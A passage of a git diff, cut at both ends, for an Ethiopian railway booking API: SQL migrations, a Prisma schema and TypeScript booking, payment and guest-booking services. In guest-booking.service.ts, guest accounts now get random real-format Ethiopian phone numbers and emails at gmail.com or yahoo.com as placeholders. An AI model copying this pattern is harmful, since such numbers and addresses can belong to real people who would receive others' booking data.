"JourneySegment_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "passenger"."TrainSchedule"("id") ON DELETE CASCADE; +ALTER TABLE "JourneySegment" DROP CONSTRAINT IF EXISTS "JourneySegment_scheduleId_fkey"; +ALTER TABLE "JourneySegment" ADD CONSTRAINT "JourneySegment_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "TrainSchedule"("id") ON DELETE CASCADE; -- AgentBooking -ALTER TABLE "passenger"."AgentBooking" DROP CONSTRAINT IF EXISTS "AgentBooking_agentId_fkey"; -ALTER TABLE "passenger"."AgentBooking" ADD CONSTRAINT "AgentBooking_agentId_fkey" FOREIGN KEY ("agentId") REFERENCES "passenger"."Agent"("id") ON DELETE CASCADE; +ALTER TABLE "AgentBooking" DROP CONSTRAINT IF EXISTS "AgentBooking_agentId_fkey"; +ALTER TABLE "AgentBooking" ADD CONSTRAINT "AgentBooking_agentId_fkey" FOREIGN KEY ("agentId") REFERENCES "Agent"("id") ON DELETE CASCADE; -ALTER TABLE "passenger"."AgentBooking" DROP CONSTRAINT IF EXISTS "AgentBooking_bookingId_fkey"; -ALTER TABLE "passenger"."AgentBooking" ADD CONSTRAINT "AgentBooking_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "passenger"."Booking"("id") ON DELETE CASCADE; +ALTER TABLE "AgentBooking" DROP CONSTRAINT IF EXISTS "AgentBooking_bookingId_fkey"; +ALTER TABLE "AgentBooking" ADD CONSTRAINT "AgentBooking_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "Booking"("id") ON DELETE CASCADE; -- AgentShift -ALTER TABLE "passenger"."AgentShift" DROP CONSTRAINT IF EXISTS "AgentShift_agentId_fkey"; -ALTER TABLE "passenger"."AgentShift" ADD CONSTRAINT "AgentShift_agentId_fkey" FOREIGN KEY ("agentId") REFERENCES "passenger"."Agent"("id") ON DELETE CASCADE; +ALTER TABLE "AgentShift" DROP CONSTRAINT IF EXISTS "AgentShift_agentId_fkey"; +ALTER TABLE "AgentShift" ADD CONSTRAINT "AgentShift_agentId_fkey" FOREIGN KEY ("agentId") REFERENCES "Agent"("id") ON DELETE CASCADE; -- AgentCommission -ALTER TABLE "passenger"."AgentCommission" DROP CONSTRAINT IF EXISTS "AgentCommission_agentId_fkey"; -ALTER TABLE "passenger"."AgentCommission" ADD CONSTRAINT "AgentCommission_agentId_fkey" FOREIGN KEY ("agentId") REFERENCES "passenger"."Agent"("id") ON DELETE CASCADE; +ALTER TABLE "AgentCommission" DROP CONSTRAINT IF EXISTS "AgentCommission_agentId_fkey"; +ALTER TABLE "AgentCommission" ADD CONSTRAINT "AgentCommission_agentId_fkey" FOREIGN KEY ("agentId") REFERENCES "Agent"("id") ON DELETE CASCADE; -- BookingModification -ALTER TABLE "passenger"."BookingModification" DROP CONSTRAINT IF EXISTS "BookingModification_bookingId_fkey"; -ALTER TABLE "passenger"."BookingModification" ADD CONSTRAINT "BookingModification_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "passenger"."Booking"("id") ON DELETE CASCADE; +ALTER TABLE "BookingModification" DROP CONSTRAINT IF EXISTS "BookingModification_bookingId_fkey"; +ALTER TABLE "BookingModification" ADD CONSTRAINT "BookingModification_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "Booking"("id") ON DELETE CASCADE; -- BookingCancellation -ALTER TABLE "passenger"."BookingCancellation" DROP CONSTRAINT IF EXISTS "BookingCancellation_bookingId_fkey"; -ALTER TABLE "passenger"."BookingCancellation" ADD CONSTRAINT "BookingCancellation_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "passenger"."Booking"("id") ON DELETE CASCADE; +ALTER TABLE "BookingCancellation" DROP CONSTRAINT IF EXISTS "BookingCancellation_bookingId_fkey"; +ALTER TABLE "BookingCancellation" ADD CONSTRAINT "BookingCancellation_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "Booking"("id") ON DELETE CASCADE; -- GateValidationLog -ALTER TABLE "passenger"."GateValidationLog" DROP CONSTRAINT IF EXISTS "GateValidationLog_ticketId_fkey"; -ALTER TABLE "passenger"."GateValidationLog" ADD CONSTRAINT "GateValidationLog_ticketId_fkey" FOREIGN KEY ("ticketId") REFERENCES "passenger"."Ticket"("id") ON DELETE CASCADE; +ALTER TABLE "GateValidationLog" DROP CONSTRAINT IF EXISTS "GateValidationLog_ticketId_fkey"; +ALTER TABLE "GateValidationLog" ADD CONSTRAINT "GateValidationLog_ticketId_fkey" FOREIGN KEY ("ticketId") REFERENCES "Ticket"("id") ON DELETE CASCADE; -- BaggageBooking -ALTER TABLE "passenger"."BaggageBooking" DROP CONSTRAINT IF EXISTS "BaggageBooking_bookingId_fkey"; -ALTER TABLE "passenger"."BaggageBooking" ADD CONSTRAINT "BaggageBooking_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "passenger"."Booking"("id") ON DELETE CASCADE; +ALTER TABLE "BaggageBooking" DROP CONSTRAINT IF EXISTS "BaggageBooking_bookingId_fkey"; +ALTER TABLE "BaggageBooking" ADD CONSTRAINT "BaggageBooking_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "Booking"("id") ON DELETE CASCADE; -- RouteFareRule -ALTER TABLE "passenger"."RouteFareRule" DROP CONSTRAINT IF EXISTS "RouteFareRule_seatClassId_fkey"; -ALTER TABLE "passenger"."RouteFareRule" ADD CONSTRAINT "RouteFareRule_seatClassId_fkey" FOREIGN KEY ("seatClassId") REFERENCES "passenger"."SeatClass"("id") ON DELETE CASCADE; +ALTER TABLE "RouteFareRule" DROP CONSTRAINT IF EXISTS "RouteFareRule_seatClassId_fkey"; +ALTER TABLE "RouteFareRule" ADD CONSTRAINT "RouteFareRule_seatClassId_fkey" FOREIGN KEY ("seatClassId") REFERENCES "SeatClass"("id") ON DELETE CASCADE; -- SegmentFareRule -ALTER TABLE "passenger"."SegmentFareRule" DROP CONSTRAINT IF EXISTS "SegmentFareRule_seatClassId_fkey"; -ALTER TABLE "passenger"."SegmentFareRule" ADD CONSTRAINT "SegmentFareRule_seatClassId_fkey" FOREIGN KEY ("seatClassId") REFERENCES "passenger"."SeatClass"("id") ON DELETE CASCADE; +ALTER TABLE "SegmentFareRule" DROP CONSTRAINT IF EXISTS "SegmentFareRule_seatClassId_fkey"; +ALTER TABLE "SegmentFareRule" ADD CONSTRAINT "SegmentFareRule_seatClassId_fkey" FOREIGN KEY ("seatClassId") REFERENCES "SeatClass"("id") ON DELETE CASCADE; -- StationCrowdSignal -ALTER TABLE "passenger"."StationCrowdSignal" DROP CONSTRAINT IF EXISTS "StationCrowdSignal_stationId_fkey"; -ALTER TABLE "passenger"."StationCrowdSignal" ADD CONSTRAINT "StationCrowdSignal_stationId_fkey" FOREIGN KEY ("stationId") REFERENCES "passenger"."Station"("id") ON DELETE CASCADE; +ALTER TABLE "StationCrowdSignal" DROP CONSTRAINT IF EXISTS "StationCrowdSignal_stationId_fkey"; +ALTER TABLE "StationCrowdSignal" ADD CONSTRAINT "StationCrowdSignal_stationId_fkey" FOREIGN KEY ("stationId") REFERENCES "Station"("id") ON DELETE CASCADE; -- SeatBlock -ALTER TABLE "passenger"."SeatBlock" DROP CONSTRAINT IF EXISTS "SeatBlock_seatId_fkey"; -ALTER TABLE "passenger"."SeatBlock" ADD CONSTRAINT "SeatBlock_seatId_fkey" FOREIGN KEY ("seatId") REFERENCES "passenger"."Seat"("id") ON DELETE CASCADE; +ALTER TABLE "SeatBlock" DROP CONSTRAINT IF EXISTS "SeatBlock_seatId_fkey"; +ALTER TABLE "SeatBlock" ADD CONSTRAINT "SeatBlock_seatId_fkey" FOREIGN KEY ("seatId") REFERENCES "Seat"("id") ON DELETE CASCADE; -- SavedRoute -ALTER TABLE "passenger"."SavedRoute" DROP CONSTRAINT IF EXISTS "SavedRoute_passengerId_fkey"; -ALTER TABLE "passenger"."SavedRoute" ADD CONSTRAINT "SavedRoute_passengerId_fkey" FOREIGN KEY ("passengerId") REFERENCES "passenger"."Passenger"("id") ON DELETE CASCADE; +ALTER TABLE "SavedRoute" DROP CONSTRAINT IF EXISTS "SavedRoute_passengerId_fkey"; +ALTER TABLE "SavedRoute" ADD CONSTRAINT "SavedRoute_passengerId_fkey" FOREIGN KEY ("passengerId") REFERENCES "Passenger"("id") ON DELETE CASCADE; -- LoyaltyLedgerEntry -ALTER TABLE "passenger"."LoyaltyLedgerEntry" DROP CONSTRAINT IF EXISTS "LoyaltyLedgerEntry_accountId_fkey"; -ALTER TABLE "passenger"."LoyaltyLedgerEntry" ADD CONSTRAINT "LoyaltyLedgerEntry_accountId_fkey" FOREIGN KEY ("accountId") REFERENCES "passenger"."LoyaltyAccount"("id") ON DELETE CASCADE; +ALTER TABLE "LoyaltyLedgerEntry" DROP CONSTRAINT IF EXISTS "LoyaltyLedgerEntry_accountId_fkey"; +ALTER TABLE "LoyaltyLedgerEntry" ADD CONSTRAINT "LoyaltyLedgerEntry_accountId_fkey" FOREIGN KEY ("accountId") REFERENCES "LoyaltyAccount"("id") ON DELETE CASCADE; -- LoyaltyReward -ALTER TABLE "passenger"."LoyaltyReward" DROP CONSTRAINT IF EXISTS "LoyaltyReward_accountId_fkey"; -ALTER TABLE "passenger"."LoyaltyReward" ADD CONSTRAINT "LoyaltyReward_accountId_fkey" FOREIGN KEY ("accountId") REFERENCES "passenger"."LoyaltyAccount"("id") ON DELETE CASCADE; +ALTER TABLE "LoyaltyReward" DROP CONSTRAINT IF EXISTS "LoyaltyReward_accountId_fkey"; +ALTER TABLE "LoyaltyReward" ADD CONSTRAINT "LoyaltyReward_accountId_fkey" FOREIGN KEY ("accountId") REFERENCES "LoyaltyAccount"("id") ON DELETE CASCADE; -- FareRule -ALTER TABLE "passenger"."FareRule" DROP CONSTRAINT IF EXISTS "FareRule_seatClassId_fkey"; -ALTER TABLE "passenger"."FareRule" ADD CONSTRAINT "FareRule_seatClassId_fkey" FOREIGN KEY ("seatClassId") REFERENCES "passenger"."SeatClass"("id") ON DELETE CASCADE; +ALTER TABLE "FareRule" DROP CONSTRAINT IF EXISTS "FareRule_seatClassId_fkey"; +ALTER TABLE "FareRule" ADD CONSTRAINT "FareRule_seatClassId_fkey" FOREIGN KEY ("seatClassId") REFERENCES "SeatClass"("id") ON DELETE CASCADE; diff --git a/apps/edr-passenger-api/prisma/migrations/20260625_add_return_leg_status/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260625_add_return_leg_status/migration.sql index e93fb8320..bc6e6c2a2 100644 --- a/apps/edr-passenger-api/prisma/migrations/20260625_add_return_leg_status/migration.sql +++ b/apps/edr-passenger-api/prisma/migrations/20260625_add_return_leg_status/migration.sql @@ -1,18 +1,18 @@ -- CreateEnum -CREATE TYPE "passenger"."ReturnLegStatus" AS ENUM ('NOT_APPLICABLE', 'BOTH_USED', 'OUTBOUND_ONLY', 'INBOUND_ONLY', 'NEITHER_USED'); +CREATE TYPE "ReturnLegStatus" AS ENUM ('NOT_APPLICABLE', 'BOTH_USED', 'OUTBOUND_ONLY', 'INBOUND_ONLY', 'NEITHER_USED'); -- AlterTable: add return leg tracking columns to Booking -ALTER TABLE "passenger"."Booking" - ADD COLUMN "returnLegStatus" "passenger"."ReturnLegStatus" NOT NULL DEFAULT 'NOT_APPLICABLE', +ALTER TABLE "Booking" + ADD COLUMN "returnLegStatus" "ReturnLegStatus" NOT NULL DEFAULT 'NOT_APPLICABLE', ADD COLUMN "outboundBoardedAt" TIMESTAMP(3), ADD COLUMN "returnBoardedAt" TIMESTAMP(3); -- Set NEITHER_USED for existing confirmed round-trip bookings -UPDATE "passenger"."Booking" +UPDATE "Booking" SET "returnLegStatus" = 'NEITHER_USED' WHERE "bookingType" = 'ROUND_TRIP' - AND "status" IN ('CONFIRMED', 'COMPLETED'); + AND "status" IN ('CONFIRMED', 'BOARDED'); -- AlterTable: add leg column to GateValidationLog -ALTER TABLE "passenger"."GateValidationLog" +ALTER TABLE "GateValidationLog" ADD COLUMN "leg" TEXT; diff --git a/apps/edr-passenger-api/prisma/migrations/20260626_fix_missing_booking_columns/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260626_fix_missing_booking_columns/migration.sql index f252642f6..b0a5bc0b4 100644 --- a/apps/edr-passenger-api/prisma/migrations/20260626_fix_missing_booking_columns/migration.sql +++ b/apps/edr-passenger-api/prisma/migrations/20260626_fix_missing_booking_columns/migration.sql @@ -1,7 +1,7 @@ -- Create passenger schema if it doesn't exist CREATE SCHEMA IF NOT EXISTS passenger; --- Move all enums from public to passenger schema +-- Move enums from public to passenger schema (only if they exist in public) DO $$ DECLARE e text; @@ -13,9 +13,10 @@ BEGIN LOOP EXECUTE format('ALTER TYPE public.%I SET SCHEMA passenger', e); END LOOP; +EXCEPTION WHEN others THEN NULL; END $$; --- Move all tables from public to passenger schema +-- Move tables from public to passenger schema (only if they exist in public) DO $$ DECLARE t text; @@ -26,6 +27,7 @@ BEGIN LOOP EXECUTE format('ALTER TABLE public.%I SET SCHEMA passenger', t); END LOOP; +EXCEPTION WHEN others THEN NULL; END $$; -- Add missing columns to Booking diff --git a/apps/edr-passenger-api/prisma/migrations/20260627_add_journey_booking_id/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260627_add_journey_booking_id/migration.sql new file mode 100644 index 000000000..3f824b335 --- /dev/null +++ b/apps/edr-passenger-api/prisma/migrations/20260627_add_journey_booking_id/migration.sql @@ -0,0 +1,14 @@ +-- Add bookingId to Journey for per-booking segment release +ALTER TABLE "passenger"."Journey" + ADD COLUMN IF NOT EXISTS "bookingId" TEXT; + +CREATE UNIQUE INDEX IF NOT EXISTS "Journey_bookingId_key" ON "passenger"."Journey"("bookingId"); +CREATE INDEX IF NOT EXISTS "Journey_bookingId_idx" ON "passenger"."Journey"("bookingId"); + +-- Ensure JourneySegment cascades on Journey delete +ALTER TABLE "passenger"."JourneySegment" + DROP CONSTRAINT IF EXISTS "JourneySegment_journeyId_fkey"; + +ALTER TABLE "passenger"."JourneySegment" + ADD CONSTRAINT "JourneySegment_journeyId_fkey" + FOREIGN KEY ("journeyId") REFERENCES "passenger"."Journey"("id") ON DELETE CASCADE; diff --git a/apps/edr-passenger-api/prisma/schema.prisma b/apps/edr-passenger-api/prisma/schema.prisma index 423a03ec9..c9d19cbaf 100644 --- a/apps/edr-passenger-api/prisma/schema.prisma +++ b/apps/edr-passenger-api/prisma/schema.prisma @@ -108,7 +108,7 @@ enum BookingStatus { PENDING_PAYMENT CONFIRMED CANCELLED - COMPLETED + BOARDED NO_SHOW REFUNDED @@ -325,8 +325,8 @@ model Station { sequence Int @default(0) isOperational Boolean @default(true) timezone String @default("Africa/Addis_Ababa") - lat Decimal @db.Decimal(9, 6) - lng Decimal @db.Decimal(9, 6) + lat Decimal? @db.Decimal(9, 6) + lng Decimal? @db.Decimal(9, 6) originSchedules TrainSchedule[] @relation("OriginTrips") destinationSchedules TrainSchedule[] @relation("DestinationTrips") stopTimes TripStopTime[] @@ -548,6 +548,7 @@ model Booking { modifications BookingModification[] cancellation BookingCancellation? baggage BaggageBooking[] + journey Journey? @@index([passengerId, status]) @@index([bookingType]) @@ -939,10 +940,12 @@ model SavedRoute { model Journey { id String @id @default(uuid()) passengerId String + bookingId String? @unique status String totalMinor Int currency String @default("ETB") createdAt DateTime @default(now()) + booking Booking? @relation(fields: [bookingId], references: [id]) journeySegments JourneySegment[] @@schema("passenger") } diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts index b40a5c0ee..385850b64 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts @@ -198,6 +198,9 @@ export class BookingsService { { contactEmail: { contains: search, mode: 'insensitive' } }, { contactPhone: { contains: search, mode: 'insensitive' } }, { passenger: { user: { fullName: { contains: search, mode: 'insensitive' } } } }, + { passenger: { user: { email: { contains: search, mode: 'insensitive' } } } }, + { passenger: { user: { phone: { contains: search, mode: 'insensitive' } } } }, + { seats: { some: { passengerName: { contains: search, mode: 'insensitive' } } } }, ]; } @@ -237,6 +240,7 @@ export class BookingsService { childCount: booking.childCount, createdAt: booking.createdAt, passenger: booking.passenger?.user, + passengerNames: [...new Set(booking.seats.map((s: any) => s.passengerName))], schedule: { train: booking.schedule.train, originStation: booking.schedule.originStation, @@ -262,10 +266,23 @@ export class BookingsService { return this.createOneWayBooking(dto); } + private validateSeatIdsAgainstHold(holdId: string, holdSeatIds: string[], requestedSeatIds: string[]) { + for (const seatId of requestedSeatIds) { + if (!holdSeatIds.includes(seatId)) { + throw new BadRequestException( + `Seat ${seatId} is not part of hold ${holdId}. Use seat IDs returned from POST /seats/hold.`, + ); + } + } + } + private async createOneWayBooking(dto: CreateBookingDto) { const hold = await this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }); if (!hold || hold.expiresAt < new Date()) throw new BadRequestException('Seat hold expired'); - + + const requestedSeatIds = (dto.passengers as any[]).map(p => p.seatId); + this.validateSeatIdsAgainstHold(dto.holdId, hold.seatIds, requestedSeatIds); + const schedule = await this.prisma.trainSchedule.findUnique({ where: { id: dto.scheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } @@ -335,6 +352,11 @@ export class BookingsService { if (!outboundHold || outboundHold.expiresAt < new Date()) throw new BadRequestException('Outbound seat hold expired'); if (!returnHold || returnHold.expiresAt < new Date()) throw new BadRequestException('Return seat hold expired'); + const holdObSeatIds = (dto.passengers as any[]).map((p: any) => p.seatId ?? p.outboundSeatId).filter(Boolean); + const holdRetSeatIds = (dto.passengers as any[]).map((p: any) => p.returnSeatId).filter(Boolean); + if (holdObSeatIds.length) this.validateSeatIdsAgainstHold(dto.holdId, outboundHold.seatIds, holdObSeatIds); + if (holdRetSeatIds.length) this.validateSeatIdsAgainstHold(dto.returnHoldId!, returnHold.seatIds, holdRetSeatIds); + const [outboundSchedule, returnSchedule] = await Promise.all([ this.prisma.trainSchedule.findUnique({ where: { id: dto.scheduleId }, @@ -478,6 +500,11 @@ export class BookingsService { if (!leg1Hold || leg1Hold.expiresAt < new Date()) throw new BadRequestException('Leg-1 seat hold expired'); if (!leg2Hold || leg2Hold.expiresAt < new Date()) throw new BadRequestException('Leg-2 seat hold expired'); + const leg1SeatIds = (dto.passengers as any[]).map(p => p.seatId); + const leg2SeatIds = (dto.passengers as any[]).map(p => p.leg2SeatId ?? p.seatId); + this.validateSeatIdsAgainstHold(dto.holdId, leg1Hold.seatIds, leg1SeatIds); + this.validateSeatIdsAgainstHold(dto.leg2HoldId!, leg2Hold.seatIds, leg2SeatIds); + const [leg1Schedule, leg2Schedule] = await Promise.all([ this.prisma.trainSchedule.findUnique({ where: { id: dto.scheduleId }, @@ -624,6 +651,11 @@ export class BookingsService { if (!retL1Hold || retL1Hold.expiresAt < now) throw new BadRequestException('Return leg-1 seat hold expired'); if (!retL2Hold || retL2Hold.expiresAt < now) throw new BadRequestException('Return leg-2 seat hold expired'); + this.validateSeatIdsAgainstHold(dto.holdId, obL1Hold.seatIds, (dto.passengers as any[]).map(p => p.seatId)); + this.validateSeatIdsAgainstHold(dto.leg2HoldId!, obL2Hold.seatIds, (dto.passengers as any[]).map(p => p.leg2SeatId ?? p.seatId)); + this.validateSeatIdsAgainstHold(dto.returnHoldId!, retL1Hold.seatIds, (dto.passengers as any[]).map(p => p.returnSeatId)); + this.validateSeatIdsAgainstHold(dto.returnLeg2HoldId!, retL2Hold.seatIds, (dto.passengers as any[]).map(p => p.returnLeg2SeatId ?? p.returnSeatId)); + // Load all 4 schedules const [obL1Sched, obL2Sched, retL1Sched, retL2Sched] = await Promise.all([ this.prisma.trainSchedule.findUnique({ where: { id: dto.scheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }), @@ -815,7 +847,21 @@ export class BookingsService { nationality = nationality || (passenger.passportCountry === 'Djibouti' ? 'Djiboutian' : 'Other'); } - processedPassengers.push({ ...passenger, passengerName, dateOfBirth, category, verifaydaVerified, verifaydaData, nationality }); + processedPassengers.push({ + ...passenger, + passengerName, + dateOfBirth, + category, + verifaydaVerified, + verifaydaData, + nationality, + // Normalise: PassengerInputDto uses seatId/returnSeatId; RoundTripPassengerDto uses + // outboundSeatId/returnSeatId. Accept either form so both DTOs work. + outboundSeatId: passenger.outboundSeatId ?? passenger.seatId, + outboundLeg2SeatId: passenger.outboundLeg2SeatId ?? passenger.leg2SeatId, + returnSeatId: passenger.returnSeatId, + returnLeg2SeatId: passenger.returnLeg2SeatId, + }); } return processedPassengers; } @@ -994,7 +1040,7 @@ export class BookingsService { await this.prisma.bookingModification.create({ data: { bookingId: booking.id, modifiedBy: booking.passengerId, modificationType: 'SEAT_CHANGE', oldData: { scheduleId: booking.scheduleId, seatIds: oldSeats }, newData: { scheduleId: dto.newScheduleId, seatIds: dto.newSeatIds }, fareAdjustment: 0, reason: dto.reason }, }); - await this.seatsService.releaseSeats(oldSeats); + await this.seatsService.releaseSeats(booking.id); await this.seatsService.confirmSeats(dto.newSeatIds); return { modified: true, bookingRef: dto.bookingRef }; } @@ -1005,7 +1051,7 @@ export class BookingsService { if (booking.status === 'CANCELLED') throw new BadRequestException('Booking already cancelled'); const refundAmount = booking.status === 'CONFIRMED' ? Math.floor(booking.totalMinor * 0.8) : 0; await this.prisma.bookingCancellation.create({ data: { bookingId: booking.id, cancelledBy: booking.passengerId, reason, refundAmount, refundMethod: booking.paymentIntent?.method ?? 'ORIGINAL', refundStatus: 'PENDING' } }); - await this.seatsService.releaseSeats(booking.seats.map((s) => s.seatId)); + await this.seatsService.releaseSeats(booking.id); await this.prisma.booking.update({ where: { bookingRef }, data: { status: 'CANCELLED' } }); return { cancelled: true, refundAmount: refundAmount / 100, currency: 'ETB' }; } @@ -1033,7 +1079,7 @@ export class BookingsService { const booking = await this.prisma.booking.findUnique({ where: { id }, include: { seats: true } }); if (!booking) throw new NotFoundException('Booking not found'); - await this.seatsService.releaseSeats(booking.seats.map((s) => s.seatId)); + await this.seatsService.releaseSeats(booking.id); await this.prisma.bookingSeat.deleteMany({ where: { bookingId: id } }); await this.prisma.booking.delete({ where: { id } }); @@ -1069,7 +1115,7 @@ export class BookingsService { const cutoff = new Date(Date.now() - 20 * 60 * 1000); const expired = await this.prisma.booking.findMany({ where: { status: 'PENDING_PAYMENT', createdAt: { lt: cutoff } }, include: { seats: true } }); for (const b of expired) { - await this.seatsService.releaseSeats(b.seats.map((s) => s.seatId)); + await this.seatsService.releaseSeats(b.id); await this.prisma.booking.update({ where: { id: b.id }, data: { status: 'CANCELLED' } }); } } diff --git a/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts b/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts index 48b84c4b6..a1b8ad6f4 100644 --- a/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts +++ b/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts @@ -14,6 +14,21 @@ function generateRef(): string { return 'EDR-' + Array.from({ length: 6 }, () => chars[Math.floor(Math.random() * chars.length)]).join(''); } +// Ethiopian mobile prefixes: Ethio Telecom (09xx) and Safaricom ET (07xx) +const ETH_MOBILE_PREFIXES = ['911','912','913','914','915','916','917','921','922','923','924','930','931','932','933','934','935','936','937','938','939','961','962','963','964']; + +function generateEthiopianPhone(): string { + const prefix = ETH_MOBILE_PREFIXES[Math.floor(Math.random() * ETH_MOBILE_PREFIXES.length)]; + const suffix = String(Math.floor(Math.random() * 1_000_000)).padStart(6, '0'); + return `+251${prefix}${suffix}`; +} + +function generateGuestEmail(uniqueId: string): string { + const domains = ['gmail.com', 'yahoo.com', 'ethionet.et', 'telecom.et']; + const domain = domains[Math.floor(Math.random() * domains.length)]; + return `guest.edr.${uniqueId}@${domain}`; +} + function calculateAge(dateOfBirth: Date): number { const today = new Date(); let age = today.getFullYear() - dateOfBirth.getFullYear(); @@ -840,7 +855,7 @@ export class GuestBookingService { const existingPhone = await this.prisma.user.findUnique({ where: { phone: accountPhone } }); if (existingPhone) throw new BadRequestException('Phone number already registered. Please login instead.'); } - if (!accountPhone) accountPhone = `+guest-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`; + if (!accountPhone) accountPhone = generateEthiopianPhone(); const user = await this.prisma.user.create({ data: { @@ -860,17 +875,17 @@ export class GuestBookingService { } const uniqueId = `${Date.now()}-${Math.random().toString(36).substring(2, 9)}`; - let guestEmail = firstPassenger.email || `guest-${uniqueId}@edr-platform.com`; + let guestEmail = firstPassenger.email || generateGuestEmail(uniqueId); if (firstPassenger.email) { const existing = await this.prisma.user.findUnique({ where: { email: firstPassenger.email } }); - if (existing) guestEmail = `guest-${uniqueId}@edr-platform.com`; + if (existing) guestEmail = generateGuestEmail(uniqueId); } let guestPhone = firstPassenger.phone || null; if (guestPhone) { const existing = await this.prisma.user.findUnique({ where: { phone: guestPhone } }); if (existing) guestPhone = null; } - if (!guestPhone) guestPhone = `+guest-${uniqueId}`; + if (!guestPhone) guestPhone = generateEthiopianPhone(); const tempUser = await this.prisma.user.create({ data: { diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts index 7171b56ad..a4c9b8a30 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts @@ -157,11 +157,11 @@ export class PassengersService { async getStats(passengerId: string) { const [totalTrips, totalSpendResult, loyalty] = await Promise.all([ - this.prisma.booking.count({ where: { passengerId, status: 'COMPLETED' } }), - this.prisma.booking.aggregate({ where: { passengerId, status: 'COMPLETED' }, _sum: { totalMinor: true } }), + this.prisma.booking.count({ where: { passengerId, status: 'BOARDED' as any } }), + this.prisma.booking.aggregate({ where: { passengerId, status: 'BOARDED' as any }, _sum: { totalMinor: true } }), this.prisma.loyaltyAccount.findUnique({ where: { passengerId } }), ]); - const totalSpend = (totalSpendResult._sum.totalMinor ?? 0) / 100; + const totalSpend = ((totalSpendResult._sum?.totalMinor ?? 0) as number) / 100; return { totalTrips, totalSpend, loyaltyPoints: loyalty?.pointsBalance ?? 0, co2Saved: totalTrips * 6 }; } diff --git a/apps/edr-passenger-api/src/modules/payments/payments.service.ts b/apps/edr-passenger-api/src/modules/payments/payments.service.ts index c8d0580bf..cce74b476 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.service.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.service.ts @@ -445,7 +445,7 @@ export class PaymentsService { include: { seats: true }, }); if (booking) { - await this.seatsService.releaseSeats(booking.seats.map((s) => s.seatId)); + await this.seatsService.releaseSeats(booking.id); await this.prisma.booking.update({ where: { id: dto.bookingId }, data: { status: "CANCELLED" }, @@ -734,51 +734,125 @@ export class PaymentsService { private async createJourneySegments( booking: Prisma.BookingGetPayload<{ include: { seats: true } }>, ) { - const schedule = await this.prisma.trainSchedule.findUnique({ - where: { id: booking.scheduleId }, - include: { - stopTimes: { include: { station: true }, orderBy: { sequence: "asc" } }, - }, - }); - if (!schedule) return; + const b = booking as any; - const stopTimes = schedule.stopTimes; - if (stopTimes.length < 2) return; + // Build per-leg definitions: { scheduleId, originStationId, destinationStationId, seatIds[] } + // BookingSeat.leg: 1=outbound/leg-1, 2=return/leg-2, 3=return leg-1 (transit), 4=return leg-2 + type LegDef = { scheduleId: string; originStationId: string; destinationStationId: string; seatIds: string[] }; + const legDefs: LegDef[] = []; - const originSequence = stopTimes.findIndex( - (st) => st.stationId === schedule.originStationId, - ); - const destSequence = stopTimes.findIndex( - (st) => st.stationId === schedule.destinationStationId, - ); + const seatsForLeg = (legNum: number) => + booking.seats.filter((s: any) => s.leg === legNum).map((s: any) => s.seatId); - if ( - originSequence < 0 || - destSequence < 0 || - originSequence >= destSequence - ) - return; + if (booking.bookingType === 'ONE_WAY') { + legDefs.push({ + scheduleId: booking.scheduleId, + originStationId: b.originStationId, + destinationStationId: b.destinationStationId, + seatIds: booking.seats.map((s: any) => s.seatId), + }); + } else if (booking.bookingType === 'ROUND_TRIP') { + legDefs.push({ + scheduleId: booking.scheduleId, + originStationId: b.originStationId, + destinationStationId: b.destinationStationId, + seatIds: seatsForLeg(1), + }); + if (b.returnScheduleId && b.returnOriginStationId && b.returnDestinationStationId) { + legDefs.push({ + scheduleId: b.returnScheduleId, + originStationId: b.returnOriginStationId, + destinationStationId: b.returnDestinationStationId, + seatIds: seatsForLeg(2), + }); + } + } else if (booking.bookingType === 'TRANSIT') { + legDefs.push({ + scheduleId: booking.scheduleId, + originStationId: b.originStationId, + destinationStationId: b.leg2OriginStationId, // transit station + seatIds: seatsForLeg(1), + }); + if (b.leg2ScheduleId && b.leg2OriginStationId && b.leg2DestinationStationId) { + legDefs.push({ + scheduleId: b.leg2ScheduleId, + originStationId: b.leg2OriginStationId, + destinationStationId: b.leg2DestinationStationId, + seatIds: seatsForLeg(2), + }); + } + } else if (booking.bookingType === 'ROUND_TRIP_TRANSIT') { + legDefs.push({ + scheduleId: booking.scheduleId, + originStationId: b.originStationId, + destinationStationId: b.leg2OriginStationId, + seatIds: seatsForLeg(1), + }); + if (b.leg2ScheduleId && b.leg2OriginStationId && b.leg2DestinationStationId) { + legDefs.push({ + scheduleId: b.leg2ScheduleId, + originStationId: b.leg2OriginStationId, + destinationStationId: b.leg2DestinationStationId, + seatIds: seatsForLeg(2), + }); + } + if (b.returnScheduleId && b.returnOriginStationId && b.returnDestinationStationId) { + legDefs.push({ + scheduleId: b.returnScheduleId, + originStationId: b.returnOriginStationId, + destinationStationId: b.returnLeg2OriginStationId ?? 